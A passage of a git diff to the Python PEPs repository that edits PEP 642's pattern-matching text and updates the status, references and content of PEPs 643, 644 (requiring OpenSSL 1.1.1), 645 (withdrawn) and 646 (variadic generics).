``TypeError`` is raised. + ``__match_args__`` (as obtained using ``len()``), ``TypeError`` is raised. - Otherwise, positional pattern ``i`` is converted to an attribute pattern using ``__match_args__[i]`` as the attribute name. - if any element in ``__match_args__`` is not a string, ``TypeError`` is raised. @@ -900,7 +900,7 @@ converted to an instance attributes constraint as follows: Note: the ``__match_args__ is None`` handling in this PEP replaces the special casing of ``bool``, ``bytearray``, ``bytes``, ``dict``, ``float``, -``frozenset``, ``int``, ``list``, ``set``, ``str``, and ``tuple`` in PEP 634. +``frozenset``, ``int``, ``list``, ``set``, ``str``, and ``tuple`` in :pep:`634`. However, the optimised fast path for those types is retained in the implementation. @@ -911,7 +911,7 @@ Design Discussion Requiring explicit qualification of simple names in match patterns ------------------------------------------------------------------ -The first iteration of this PEP accepted the basic premise of PEP 634 that +The first iteration of this PEP accepted the basic premise of :pep:`634` that iterable unpacking syntax would provide a good foundation for defining a new syntax for pattern matching. @@ -919,13 +919,13 @@ During the review process, however, two major and one minor ambiguity problems were highlighted that arise directly from that core assumption: * most problematically, when binding simple names by default is extended to - PEP 634's proposed class pattern syntax, the ``ATTR=TARGET_NAME`` construct + :pep:`634`'s proposed class pattern syntax, the ``ATTR=TARGET_NAME`` construct binds to the right without using the ``as`` keyword, and uses the normal assignment-to-the-left sigil (``=``) to do it! -* when binding simple names by default is extended to PEP 634's proposed mapping +* when binding simple names by default is extended to :pep:`634`'s proposed mapping pattern syntax, the ``KEY: TARGET_NAME`` construct binds to the right without using the ``as`` keyword -* using a PEP 634 capture pattern together with an AS pattern +* using a :pep:`634` capture pattern together with an AS pattern (``TARGET_NAME_1 as TARGET_NAME_2``) gives an odd "binds to both the left and right" behaviour @@ -957,7 +957,7 @@ no longer read poorly: Resisting the temptation to guess --------------------------------- -PEP 635 looks at the way pattern matching is used in other languages, and +:pep:`635` looks at the way pattern matching is used in other languages, and attempts to use that information to make plausible predictions about the way pattern matching will be used in Python: @@ -1001,7 +1001,7 @@ AST nodes could be reused. Interaction with caching of attribute lookups in local variables ---------------------------------------------------------------- -One of the major changes between this PEP and PEP 634 is to use ``== EXPR`` +One of the major changes between this PEP and :pep:`634` is to use ``== EXPR`` for equality constraint lookups, rather than only offering ``NAME.ATTR``. The original motivation for this was to avoid the semantic conflict with regular assignment targets, where ``NAME.ATTR`` is already used in assignment statements @@ -1014,7 +1014,7 @@ user's intent, and instead requiring them to state it explicitly in the syntax. However, even within match statements themselves, the ``name.attr`` syntax for value patterns has an undesirable interaction with local variable assignment, where routine refactorings that would be semantically neutral for any other -Python statement introduce a major semantic change when applied to a PEP 634 +Python statement introduce a major semantic change when applied to a :pep:`634` style match statement. Consider the following code:: @@ -1047,7 +1047,7 @@ being functionally equivalent:: case __: ... # Handle the non-matching case -By contrast, when using PEP 634's value and capture pattern syntaxes that omit +By contrast, when using :pep:`634`'s value and capture pattern syntaxes that omit the marker prefix, the following two statements wouldn't be equivalent at all:: # PEP 634's value pattern syntax @@ -1069,14 +1069,14 @@ This PEP ensures the original semantics are retained under this style of simplistic refactoring: use ``== name`` to force interpretation of the result as a value constraint, use ``as name`` for a name binding. -PEP 634's proposal to offer only the shorthand syntax, with no explicitly +:pep:`634`'s proposal to offer only the shorthand syntax, with no explicitly prefixed form, means that the primary answer on offer is "Well, don't do that, then, only compare against attributes in namespaces, don't compare against simple names". -PEP 622's walrus pattern syntax had another odd interaction where it might not +:pep:`622`'s walrus pattern syntax had another odd interaction where it might not bind the same object as the exact same walrus expression in the body of the -case clause, but PEP 634 fixed that discrepancy by replacing walrus patterns +case clause, but :pep:`634` fixed that discrepancy by replacing walrus patterns with AS patterns (where the fact that the value bound to the name on the RHS might not be the same value as returned by the LHS is a standard feature common to all uses of the "as" keyword). @@ -1098,7 +1098,7 @@ There were a few concerns with ``==`` as a prefix that kept it from being chosen as the prefix in the initial iteration of the PEP: * for common use cases, it's even more visually noisy than ``?``, as a lot of - folks with PEP 8 trained aesthetic sensibilities are going to want to put + folks with :pep:`8` trained aesthetic sensibilities are going to want to put a space between it and the following expression, effectively making it a 3 character prefix instead of 1 * when used in a mapping pattern, there needs to be a space between the ``:`` @@ -1107,7 +1107,7 @@ chosen as the prefix in the initial iteration of the PEP: * when used in an OR pattern, there needs to be a space between the ``|`` pattern separator and the ``==`` prefix, or the tokeniser will split them up incorrectly (getting ``|=`` and ``=`` instead of ``|`` and ``==``) -* if used in a PEP 634 style class pattern, there needs to be a space between +* if used in a :pep:`634` style class pattern, there needs to be a space between the ``=`` keyword separator and the ``==`` prefix, or the tokeniser will split them up incorrectly (getting ``==`` and ``=`` instead of ``=`` and ``==``) @@ -1129,7 +1129,7 @@ ambiguity concerns. Instead, the following points apply: reducing the need to combine OR patterns with equality constraints (instead, the values to be checked against would be collected as a set, list, or tuple). -Given that perspective, PEP 635's arguments against using ``?`` as part of the +Given that perspective, :pep:`635`'s arguments against using ``?`` as part of the pattern matching syntax held for this proposal as well, and so the PEP was amended accordingly. @@ -1137,12 +1137,12 @@ amended accordingly. Using ``__`` as the wildcard pattern marker ------------------------------------------- -PEP 635 makes a solid case that introducing ``?`` *solely* as a wildcard pattern +:pep:`635` makes a solid case that introducing ``?`` *solely* as a wildcard pattern marker would be a bad idea. With the syntax for value constraints changed to use existing comparison operations rather than ``?`` and ``?is``, that argument holds for this PEP as well. -However, as noted by Thomas Wouters in [6_], PEP 634's choice of ``_`` remains +However, as noted by Thomas Wouters in [6_], :pep:`634`'s choice of ``_`` remains problematic as it would likely mean that match patterns would have a *permanent* difference from all other parts of Python - the use of ``_`` in software internationalisation and at the interactive prompt means that there isn't really @@ -1193,13 +1193,13 @@ be consistent with that existing approach. Representing patterns explicitly in the Abstract Syntax Tree ------------------------------------------------------------ -PEP 634 doesn't explicitly discuss how match statements should be represented +:pep:`634` doesn't explicitly discuss how match statements should be represented in the Abstract Syntax Tree, instead leaving that detail to be defined as part of the implementation. -As a result, while the reference implementation of PEP 634 definitely works (and +As a result, while the reference implementation of :pep:`634` definitely works (and formed the basis of the reference implementation of this PEP), it does contain -a significant design flaw: despite the notes in PEP 635 that patterns should be +a significant design flaw: despite the notes in :pep:`635` that patterns should be considered as distinct from expressions, the reference implementation goes ahead and represents them in the AST as expression nodes. @@ -1225,13 +1225,13 @@ rest of the PEP were to be rejected. Changes to sequence patterns ---------------------------- -This PEP makes one notable change to sequence patterns relative to PEP 634: +This PEP makes one notable change to sequence patterns relative to :pep:`634`: * only the square bracket form of sequence pattern is supported. Neither open - (no delimeters) nor tuple style (parentheses as delimiters) sequence patterns + (no delimiters) nor tuple style (parentheses as delimiters) sequence patterns are supported. -Relative to PEP 634, sequence patterns are also significantly affected by the +Relative to :pep:`634`, sequence patterns are also significantly affected by the change to require explicit qualification of capture patterns and value constraints, as it means ``case [a, b, c]:`` must instead be written as ``case [as a, as b, as c]:`` and ``case [0, 1]:`` must instead be written as @@ -1243,9 +1243,9 @@ flexibility that had been included in the original syntax proposal purely for consistency with iterable unpacking. Allowing open and tuple style sequence patterns didn't increase expressivity, -only ambiguity of intent (especially relative to group paterns), and encouraged +only ambiguity of intent (especially relative to group patterns), and encouraged readers down the path of viewing pattern matching syntax as intrinsically linked -to assignment target syntax (which the PEP 634 authors have stated multiple +to assignment target syntax (which the :pep:`634` authors have stated multiple times is not a desirable path to have readers take, and a view the author of this PEP now shares, despite disagreeing with it originally). @@ -1253,7 +1253,7 @@ this PEP now shares, despite disagreeing with it originally). Changes to mapping patterns --------------------------- -This PEP makes two notable changes to mapping patterns relative to PEP 634: +This PEP makes two notable changes to mapping patterns relative to :pep:`634`: * value capturing is written as ``KEY as NAME`` rather than as ``KEY: NAME`` * a wider range of keys are permitted: any "closed expression", rather than @@ -1267,10 +1267,10 @@ The second change is mostly a matter of simplifying the parser and code generator code by reusing the existing expression handling machinery. The restriction to closed expressions is designed to help reduce ambiguity as to where the key expression ends and the match pattern begins. This mostly allows -a superset of what PEP 634 allows, except that complex literals must be written +a superset of what :pep:`634` allows, except that complex literals must be written in parentheses (at least for now). -Adapting PEP 635's mapping pattern examples to the syntax proposed in this PEP:: +Adapting :pep:`635`'s mapping pattern examples to the syntax proposed in this PEP:: match json_pet: case {"type": == "cat", "name" as name, "pattern" as pattern}: @@ -1288,7 +1288,7 @@ Adapting PEP 635's mapping pattern examples to the syntax proposed in this PEP:: for child in children: change_red_to_blue(child) -For reference, the equivalent PEP 634 syntax:: +For reference, the equivalent :pep:`634` syntax:: match json_pet: case {"type": "cat", "name": name, "pattern": pattern}: @@ -1310,7 +1310,7 @@ For reference, the equivalent PEP 634 syntax:: Changes to class patterns ------------------------- -This PEP makes several notable changes to class patterns relative to PEP 634: +This PEP makes several notable changes to class patterns relative to :pep:`634`: * the syntactic alignment with class instantiation is abandoned as being actively misleading and unhelpful. Instead, a new dedicated syntax for @@ -1350,13 +1350,13 @@ matter of considering the leading ``.`` sufficient to render the name usage unambiguous (it's clearly an attribute reference, whereas matching against a variable key in a mapping pattern would be arguably ambiguous) -The final change just supplements a CPython-internal-only check in the PEP 634 +The final change just supplements a CPython-internal-only check in the :pep:`634` reference implementation by making it the default behaviour that classes get if they don't define ``__match_args__`` (the optimised fast path for the builtin -and standard library types named in PEP 634 is retained). +and standard library types named in :pep:`634` is retained). Adapting the class matching example -`linked from PEP 635 `_ +`linked from PEP 635 `_ shows that for purely positional class matching, the main impact comes from the changes to value constraints and name binding, not from the class matching changes:: @@ -1381,7 +1381,7 @@ changes:: case __: raise ValueError(f"Invalid expression value: {repr(expr)}") -For reference, the equivalent PEP 634 syntax:: +For reference, the equivalent :pep:`634` syntax:: match expr: case BinaryOp('+', left, right): @@ -1413,7 +1413,7 @@ checking for named attributes and extracting their values without relying on case object{.host as host}: pass -Compare this to the PEP 634 equivalent, where it really isn't clear which names +Compare this to the :pep:`634` equivalent, where it really isn't clear which names are referring to attributes of the match subject and which names are referring to local variables:: @@ -1470,7 +1470,7 @@ restrictions later can be considered on a case-by-case basis. Accepting complex literals as closed expressions ------------------------------------------------ -PEP 634's reference implementation includes a lot of special casing of binary +:pep:`634`'s reference implementation includes a lot of special casing of binary operations in both the parser and the rest of the compiler in order to accept complex literals without accepting arbitrary binary numeric operations on literal values. @@ -1526,7 +1526,7 @@ Allowing membership checks in match patterns The syntax used for equality and identity constraints would be straightforward to extend to membership checks: ``in container``. -One downside of the proposals in both this PEP and PEP 634 is that checking +One downside of the proposals in both this PEP and :pep:`634` is that checking for multiple values in the same case doesn't look like any existing container membership check in Python:: @@ -1540,8 +1540,8 @@ membership check in Python:: case == 0 | == 1 | == 2 | == 3: ... -Allowing inferred equality contraints under this PEP would only make it look -like the PEP 634 example, it still wouldn't look like the equivalent ``if`` +Allowing inferred equality constraints under this PEP would only make it look +like the :pep:`634` example, it still wouldn't look like the equivalent ``if`` statement header (``if value in {0, 1, 2, 3}:``). Membership constraints would provide a more explicit, but still concise, way @@ -1583,7 +1583,7 @@ allowing this has been deferred as a topic for possible future consideration. Avoiding special cases in sequence patterns ------------------------------------------- -Sequence patterns in both this PEP and PEP 634 currently special case ``str``, +Sequence patterns in both this PEP and :pep:`634` currently special case ``str``, ``bytes``, and ``bytearray`` as specifically *never* matching a sequence pattern. @@ -1638,14 +1638,14 @@ Restricting permitted expressions in value constraints and mapping pattern keys While it's entirely technically possible to restrict the kinds of expressions permitted in value constraints and mapping pattern keys to just attribute -lookups and constant literals (as PEP 634 does), there isn't any clear runtime +lookups and constant literals (as :pep:`634` does), there isn't any clear runtime value in doing so, so this PEP proposes allowing any kind of primary expression (primary expressions are an existing node type in the grammar that includes things like literals, names, attribute lookups, function calls, container subscripts, parenthesised groups, etc), as well as high precedence unary operations (``+``, ``-``, ``~``) on primary expressions. -While PEP 635 does emphasise several times that literal patterns and value +While :pep:`635` does emphasise several times that literal patterns and value patterns are not full expressions, it doesn't ever articulate a concrete benefit that is obtained from that restriction (just a theoretical appeal to it being useful to separate static checks from dynamic checks, which a code style @@ -1658,7 +1658,7 @@ that just returned their argument) to express the behaviour they wanted before the language definition was finally updated to allow arbitrary expressions and let users make their own decisions about readability. -The situation in PEP 634 that bears a resemblance to the situation with decorator +The situation in :pep:`634` that bears a resemblance to the situation with decorator expressions is that arbitrary expressions are technically supported in value patterns, they just require awkward workarounds where either all the values to match need to be specified in a helper class that is placed before the match @@ -1722,7 +1722,7 @@ Requiring the use of constraint prefix markers for mapping pattern keys ----------------------------------------------------------------------- The initial (unpublished) draft of this proposal suggested requiring mapping -pattern keys be value constraints, just as PEP 634 requires that they be valid +pattern keys be value constraints, just as :pep:`634` requires that they be valid literal or value patterns:: import constants @@ -1765,7 +1765,7 @@ Reference Implementation ======================== A draft reference implementation for this PEP [3_] has been derived from Brandt -Bucher's reference implementation for PEP 634 [4_]. +Bucher's reference implementation for :pep:`634` [4_]. Relative to the text of this PEP, the draft reference implementation has not yet complemented the special casing of several builtin and standard library @@ -1774,7 +1774,7 @@ being set to ``None``. Class defined patterns also currently still accept classes that don't define ``__match_args__``. All other modified patterns have been updated to follow this PEP rather than -PEP 634. +:pep:`634`. Unparsing for match patterns has not yet been migrated to the updated v3 AST. @@ -1787,7 +1787,7 @@ are expected. The examples in this PEP have not yet been converted to test cases, so could plausibly contain typos and other errors. -Several of the old PEP 634 tests are still to be converted to new SyntaxError +Several of the old :pep:`634` tests are still to be converted to new SyntaxError tests. The documentation has not yet been updated. @@ -1796,25 +1796,26 @@ The documentation has not yet been updated. Acknowledgments =============== -The PEP 622 and PEP 634/635/636 authors, as the proposal in this PEP is merely +The :pep:`622` and :pep:`634`/:pep:`635`/:pep:`636` authors, as the proposal in +this PEP is merely an attempt to improve the readability of an already well-constructed idea by proposing that starting with a more explicit syntax and potentially introducing syntactic shortcuts for particularly common operations later is a better option than attempting to *only* define the shortcut version. For areas of the specification where the two PEPs are the same (or at least very similar), the text describing the intended behaviour in this PEP is often derived directly -from the PEP 634 text. +from the :pep:`634` text. Steven D'Aprano, who made a compelling case that the key goals of this PEP could be achieved by using existing comparison tokens to tell the ability to override the compiler when our guesses as to "what most users will want most of the time" are inevitably incorrect for at least some users some of the time, and retaining -some of PEP 634's syntactic sugar (with a slightly different semantic definition) -to obtain the same level of brevity as PEP 634 in most situations. (Paul +some of :pep:`634`'s syntactic sugar (with a slightly different semantic definition) +to obtain the same level of brevity as :pep:`634` in most situations. (Paul Sokolosvsky also independently suggested using ``==`` instead of ``?`` as a more easily understood prefix for equality constraints). -Thomas Wouters, whose publication of PEP 640 and public review of the structured +Thomas Wouters, whose publication of :pep:`640` and public review of the structured pattern matching proposals persuaded the author of this PEP to continue advocating for a wildcard pattern syntax that a future PEP could plausibly turn into a hard keyword that always skips binding a reference in any location a @@ -1865,9 +1866,9 @@ Appendix A -- Full Grammar ========================== Here is the full modified grammar for ``match_stmt``, replacing Appendix A -in PEP 634. +in :pep:`634`. -Notation used beyond standard EBNF is as per PEP 534: +Notation used beyond standard EBNF is as per :pep:`534`: - ``'KWD'`` denotes a hard keyword - ``"KWD"`` denotes a soft keyword @@ -2008,9 +2009,9 @@ Appendix C: Summary of changes relative to PEP 634 ================================================== The overall ``match``/``case`` statement syntax and the guard expression syntax -remain the same as they are in PEP 634. +remain the same as they are in :pep:`634`. -Relative to PEP 634 this PEP makes the following key changes: +Relative to :pep:`634` this PEP makes the following key changes: * a new ``pattern`` type is defined in the AST, rather than reusing the ``expr`` type for patterns @@ -2057,8 +2058,8 @@ Relative to PEP 634 this PEP makes the following key changes: the pattern to be matched starts with ``==``, ``is``, or ``as`` * class patterns treat any class that sets ``__match_args__`` to ``None`` as accepting a single positional pattern that is matched against the entire - object (avoiding the special casing required in PEP 634) -* class patterns raise ``TypeError` when used with an object that does not + object (avoiding the special casing required in :pep:`634`) +* class patterns raise ``TypeError`` when used with an object that does not define ``__match_args__`` * dedicated syntax for ducktyping is added, such that ``case cls{...}:`` is roughly equivalent to ``case cls(**{...}):``, but skips the check for the @@ -2069,7 +2070,7 @@ Note that postponing literal patterns also makes it possible to postpone the question of whether we need an "INUMBER" token in the tokeniser for imaginary literals. Without it, the parser can't distinguish complex literals from other binary addition and subtraction operations on constants, so proposals like -PEP 634 have to do work in later compilation steps to check for correct usage. +:pep:`634` have to do work in later compilation steps to check for correct usage. .. _Appendix D: @@ -2077,12 +2078,12 @@ PEP 634 have to do work in later compilation steps to check for correct usage. Appendix D: History of changes to this proposal =============================================== -The first published iteration of this proposal mostly followed PEP 634, but +The first published iteration of this proposal mostly followed :pep:`634`, but suggested using ``?EXPR`` for equality constraints and ``?is EXPR`` for -identity constraints rather than PEP 634's value patterns and literal patterns. +identity constraints rather than :pep:`634`'s value patterns and literal patterns. The second published iteration mostly adopted a counter-proposal from Steven -D'Aprano that kept the PEP 634 style inferred constraints in many situations, +D'Aprano that kept the :pep:`634` style inferred constraints in many situations, but also allowed the use of ``== EXPR`` for explicit equality constraints, and ``is EXPR`` for explicit identity constraints. diff --git a/pep-0643.rst b/pep-0643.rst index 66e52c4454f..15d9d07b0e5 100644 --- a/pep-0643.rst +++ b/pep-0643.rst @@ -3,8 +3,9 @@ Title: Metadata for Package Source Distributions Author: Paul Moore BDFL-Delegate: Paul Ganssle Discussions-To: https://discuss.python.org/t/pep-643-metadata-for-package-source-distributions/5577 -Status: Accepted +Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 24-Oct-2020 Post-History: 24-Oct-2020, 01-Nov-2020, 02-Nov-2020, 14-Nov-2020 diff --git a/pep-0644.rst b/pep-0644.rst index dd0220385ae..7411765eac3 100644 --- a/pep-0644.rst +++ b/pep-0644.rst @@ -1,14 +1,14 @@ PEP: 644 -Title: Require OpenSSL 1.1 or newer +Title: Require OpenSSL 1.1.1 or newer Author: Christian Heimes -BDFL-Delegate: n/a Discussions-To: https://discuss.python.org/t/pep-644-require-openssl-1-1-or-newer/5584 -Status: Draft +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 27-Oct-2020 Python-Version: 3.10 -Post-History: 27-Oct-2020 +Post-History: 27-Oct-2020, 03-Mar-2021, 17-Mar-2021, 17-Apr-2021 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/INLCO2EZVQW7R7J2OL6HWVLVU3TQRAZV/ Abstract @@ -106,7 +106,7 @@ support for ChaCha20-Poly1305, BLAKE2 (basic features), X25519 and CT. The majority of structs were made opaque and new APIs were introduced. OpenSSL 1.1.0 is not API compatible with 1.0.2. -- Debian 9 Stretch (estimated EOL 2022-06) +- Debian 9 Stretch (security support ended 2020-07, LTS until 2022-06) - Ubuntu 18.04 LTS / Bionic (general support ends 2023-04) @@ -122,9 +122,10 @@ OpenSSL 1.1.1 added TLS 1.3, SHA-3, X448 and Ed448. - Arch Linux current - CentOS 8.0+ - Debian 10 Buster +- Debian 11 Bullseye (ETA 2021-06) - Fedora 29+ - FreeBSD 11.3+ -- Gentoo Linux stable +- Gentoo Linux stable (dropped LibreSSL as alternative in January 2021 [10]_) - HardenedBSD (switched back to OpenSSL in 2018 [3]_) - Linux Mint 19.3+ - macOS (python.org installer) @@ -135,13 +136,25 @@ OpenSSL 1.1.1 added TLS 1.3, SHA-3, X448 and Ed448. - SUSE Enterprise Linux 15-SP2 - Ubuntu 18.10+ - Ubuntu 20.04 LTS / Focal +- VoidLinux (switched back to OpenSSL in March 2021 [5]_) - Windows (python.org installer, Conda) +Major CI providers provide images with OpenSSL 1.1.1. + +- AppVeyor (with image ``Ubuntu2004``) +- CircleCI (with recent ``cimg/base:stable`` or ``cimg/base:stable-20.04``) +- GitHub Actions (with ``runs-on: ubuntu-20.04``) +- Giblab CI (with Debian Stretch, Ubuntu Focal, CentOS 8, RHEL 8, or Fedora + runner) +- Packit +- TravisCI (with ``dist: focal``) +- Zuul + OpenSSL 3.0.0 ------------- -released: n/a (planned for early 2021) +released: n/a (planned for mid/late 2021) OpenSSL 3.0.0 is currently under development. Major changes include relicensing to Apache License 2.0 and a new API for cryptographic algorithms @@ -159,10 +172,11 @@ created: 2014-04 (forked from OpenSSL 1.0.1g) - OpenBSD - OpenELEC (discontinued) - TrueOS (discontinued) -- VOID Linux (currently moving back to OpenSSL [5]_) -Some distributions like FreeBSD, Gentoo, and OPNsense also feature LibreSSL -instead of OpenSSL as non-standard TLS libraries. +Some distributions like FreeBSD and OPNsense also feature LibreSSL +instead of OpenSSL as non-standard TLS libraries. Gentoo discontinued +LibreSSL as an alternative to OpenSSL in January 2021 [10]_ due to +compatibility issues and little testing. OpenBSD ports has a port ``security/openssl/1.1`` which is documented as "[...] is present to provide support for applications which cannot be made @@ -297,14 +311,33 @@ or extend compatibility with EOLed releases as we see fit. The new ABI stability and LTS policies of OpenSSL [9]_ should help, too. +Keep support for OpenSSL 1.1.0 +------------------------------ + +It was suggested to keep support for OpenSSL 1.1.0 for compatibility with +Debian 9 (Stretch). The proposal was rejected since it would complicated code +cleanup and testing. Stretch is already out of regular security support and +close to end of long-term support. By the time of Python 3.10 final release, +Debian Buster and Debian Bullseye will be available. + +Instead Python 3.10 will gain additional documentation and a new +``configure`` option ``--with-openssl-rpath=auto`` to simplify use of custom +OpenSSL builds [11]. + Backwards Compatibility ======================= Python 3.10 will no longer support TLS/SSL and fast hashing on platforms -with OpenSSL 1.0.2 or LibreSSL. This PEP is published at the beginning of -the 3.10 release cycles. It gives vendors like Linux distributors or CI -providers roughly 11 months to react. +with OpenSSL 1.0.2 or LibreSSL. The first draft of this PEP was published at +the beginning of the 3.10 release cycles to give vendors like Linux +distributors or CI providers sufficient time to plan. + +Python's internal copy of the *Keccak Code Package* and the internal +``_sha3`` module will be removed. This will reduce source code size by +about 280kB and code size by roughly 0.5MB. The ``hashlib`` will solely rely +on OpenSSL's SHA-3 implementation. SHA-3 and SHAKE will no longer be available +without OpenSSL. Disclaimer and special thanks @@ -324,11 +357,13 @@ References .. [2] https://github.com/libressl-portable/portable/issues/455 .. [3] https://hardenedbsd.org/article/shawn-webb/2018-04-30/hardenedbsd-switching-back-openssl .. [4] https://lists.alpinelinux.org/~alpine/devel/%3CCA%2BT2pCGFeh30aEi43hAvJ3yoHBijABy_U62wfjhVmf3FmbNUUg%40mail.gmail.com%3E -.. [5] https://github.com/void-linux/void-packages/issues/20935 +.. [5] https://voidlinux.org/news/2021/02/OpenSSL.html .. [6] https://forums.swift.org/t/rfc-moving-swiftnio-ssl-to-boringssl/18280 .. [7] https://openports.se/security/openssl/1.1 .. [8] https://www.openssl.org/docs/OpenSSL300Design.html .. [9] https://www.openssl.org/policies/releasestrat.html +.. [10] https://www.gentoo.org/support/news-items/2021-01-05-libressl-support-discontinued.html +.. [11] https://bugs.python.org/issue43466 Copyright diff --git a/pep-0645.rst b/pep-0645.rst index 9368caaac9b..6bd0c032567 100644 --- a/pep-0645.rst +++ b/pep-0645.rst @@ -2,10 +2,11 @@ PEP: 645 Title: Allow writing optional types as ``x?`` Author: Maggie Moss Sponsor: Guido van Rossum -Status: Draft -Type: Process +Status: Withdrawn +Type: Standards Track Content-Type: text/x-rst Created: 25-Aug-2020 +Resolution: https://mail.python.org/archives/list/typing-sig@python.org/message/E75SPV6DDHLEEFSA5MBN5HUOQWDMUQJ2/ Abstract @@ -13,13 +14,28 @@ Abstract This PEP proposes adding a ``?`` operator for types to allow writing ``int?`` in place of ``Optional[int]``. +PEP Withdrawal +============== + +The notation ``T|None`` introduced by :pep:`604` to write ``Optional[T]`` is a +fine alternative to ``T?`` and does not require new syntax. + +Using ``T?`` to mean ``T|None`` is also inconsistent with TypeScript +where it roughly means ``NotRequired[T]``. +Such inconsistency would likely confuse folks coming from TypeScript to Python. + +The above represents the consensus of +`typing-sig `_ +and the sponsor of this PEP. + + Motivation ========== Types have become a valuable and powerful part of the Python language. However, many type annotations are verbose and add considerable friction to using type annotations. By improving the typing syntax, adding types to Python code becomes simpler and improves the development experience for Python users. -In a similar vein, a PEP to introduce short hand syntax for `Union types `_ [1]_ has +In a similar vein, a PEP to introduce short hand syntax for :pep:`Union types <604>` has been approved and implemented. @@ -27,7 +43,7 @@ Rationale ========= Types in Python can be quite verbose, this can be a hindrance when working towards type adoption. Making types more ergonomic, -as was done with the Union type in PEP 604 (e.g., int | str), would reduce the effort needed to add types to new and existing Python code. +as was done with the Union type in :pep:`604` (e.g., int | str), would reduce the effort needed to add types to new and existing Python code. The Optional annotation is used frequently in both partially and fully typed Python code bases. In a small sampling of `5 well-typed open source projects, on average 7% of annotations `_ [2] included at least one optional type. This indicates @@ -37,8 +53,8 @@ Simplifying the syntax for optionals has been `discussed previously `_ [4], which is currently in a deferred state. -PEP 505 proposes a: +Adding the ? sigil to the Python grammar has been proposed previously in :pep:`505`, which is currently in a deferred state. +:pep:`505` proposes a: - "None coalescing" binary operator ``??`` @@ -47,7 +63,7 @@ PEP 505 proposes a: - "None-aware indexing" operator ``?[]`` ("maybe subscript") -Should PEP 505 be approved in the future, it would not interfere with the typing specific ``?`` proposed in this PEP. As well, +Should :pep:`505` be approved in the future, it would not interfere with the typing specific ``?`` proposed in this PEP. As well, since all uses of the ``?`` would be conceptually related, it would not be confusing in terms of learning Python or a hindrance to quick visual comprehension. The proposed syntax, with the postfix operator, mimics the optional syntax found in other typed languages, like C#, TypeScript and Swift. @@ -100,7 +116,7 @@ It should also be equivalent to a Union with None. # new syntax int? == int | None -Since the new Union syntax specified in PEP 604 is supported in ``isinstance`` and ``issubclass``, the new optional syntax should be supported in both ``isinstance`` and ``issubclass``, +Since the new Union syntax specified in :pep:`604` is supported in ``isinstance`` and ``issubclass``, the new optional syntax should be supported in both ``isinstance`` and ``issubclass``, :: @@ -118,7 +134,7 @@ Backwards Compatibility Reference Implementation ======================== -A reference implementation can be found `here `_ [5]. +A reference implementation can be found `here `_. Rejected Ideas ============== @@ -132,16 +148,10 @@ Discussed alternatives were References ========== -.. [1] PEP 604 - (https://www.python.org/dev/peps/pep-0604/) .. [2] Use of Optional Annotations in Open Source Python projects (https://gist.github.com/MaggieMoss/fd8dfe002b2702fae243dbf81a62624e) .. [3] Github Issue Discussion of Optional syntax (https://github.com/python/typing/issues/429) -.. [4] PEP 505 - (https://www.python.org/dev/peps/pep-0505/) -.. [5] Reference Implementation - (https://github.com/python/cpython/compare/master...MaggieMoss:new-optional-syntax-postfix) Copyright ========= diff --git a/pep-0646.rst b/pep-0646.rst index 6860308bebc..409acd6a182 100644 --- a/pep-0646.rst +++ b/pep-0646.rst @@ -5,17 +5,18 @@ Author: Mark Mendoza , Pradeep Kumar Srinivasan , Vincent Siles Sponsor: Guido van Rossum -Status: Draft +Status: Accepted Type: Standards Track Content-Type: text/x-rst Created: 16-Sep-2020 -Python-Version: 3.10 +Python-Version: 3.11 Post-History: 07-Oct-2020, 23-Dec-2020, 29-Dec-2020 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/OR5RKV7GAVSGLVH3JAGQ6OXFAXIP5XDX/ Abstract ======== -PEP 484 introduced ``TypeVar``, enabling creation of generics parameterised +:pep:`484` introduced ``TypeVar``, enabling creation of generics parameterised with a single type. In this PEP, we introduce ``TypeVarTuple``, enabling parameterisation with an *arbitrary* number of types - that is, a *variadic* type variable, enabling *variadic* generics. This enables a wide variety of use cases. @@ -24,6 +25,14 @@ in numerical computing libraries such as NumPy and TensorFlow to be parameterised with the array *shape*, enabling static type checkers to catch shape-related bugs in code that uses these libraries. +Acceptance +========== + +This PEP was accepted for Python 3.11, with the caveat that details around +multiple unpackings in a type expression aren't specified precisely. +This gives individual type checkers some leeway, but can be tightened +in future PEPs. + Motivation ========== @@ -33,7 +42,7 @@ large impact, and the main case this PEP targets - concerns typing in numerical libraries. In the context of numerical computation with libraries such as NumPy and TensorFlow, -the *shape* of arguments is often just as important as the argument *type*. +the *shape* of variables is often just as important as the variable *type*. For example, consider the following function which converts a batch [#batch]_ of videos to grayscale: @@ -51,8 +60,22 @@ and time × batch × channels × height × width. [#timebatch]_ -Ideally, we should have some way of making the required shape clear in the -signature itself. Multiple proposals [#numeric-stack]_ [#typing-ideas]_ +This is important for three reasons: + +* **Documentation**. Without the required shape being clear in the signature, + the user must hunt in the docstring or the code in question to determine + what the input/output shape requirements are. +* **Catching shape bugs before runtime**. Ideally, use of incorrect shapes + should be an error we can catch ahead of time using static analysis. + (This is particularly important for machine learning code, where iteration + times can be slow.) +* **Preventing subtle shape bugs**. In the worst case, use of the wrong shape + will result in the program appearing to run fine, but with a subtle bug + that can take days to track down. (See `this exercise`_ in a popular machine learning + tutorial for a particularly pernicious example.) + +Ideally, we should have some way of making shape requirements explicit in +type signatures. Multiple proposals [#numeric-stack]_ [#typing-ideas]_ [#syntax-proposal]_ have suggested the use of the standard generics syntax for this purpose. We would write: @@ -116,30 +139,37 @@ We could also add annotations describing the actual size of each axis: :: - from typing import Literal + from typing import Literal as L - L640 = Literal[640] - L480 = Literal[480] - x: Array[int, L480, L640] = Array() + x: Array[float, L[480], L[640]] = Array() For consistency, we use semantic axis annotations as the basis of the examples in this PEP, but this PEP is agnostic about which of these two (or possibly other) ways of using ``Array`` is preferable; that decision is left to library authors. +(Note also that for the rest of this PEP, for conciseness of example, we use +a simpler version of ``Array`` which is generic only in the shape - *not* the +data type.) + Specification ============= -In order to support the above use cases, we introduce ``TypeVarTuple``. This serves as a placeholder not for a single type but for an *arbitrary* number of types, and behaving like a number of ``TypeVar`` instances packed in a ``Tuple``. +In order to support the above use cases, we introduce +``TypeVarTuple``. This serves as a placeholder not for a single type +but for a *tuple* of types. -These are described in detail below. +In addition, we introduce a new use for the star operator: to 'unpack' +``TypeVarTuple`` instances and tuple types such as ``Tuple[int, +str]``. Unpacking a ``TypeVarTuple`` or tuple type is the typing +equivalent of unpacking a variable or a tuple of values. Type Variable Tuples -------------------- -In the same way that a normal type variable is a stand-in for a single type, -a type variable *tuple* is a stand-in 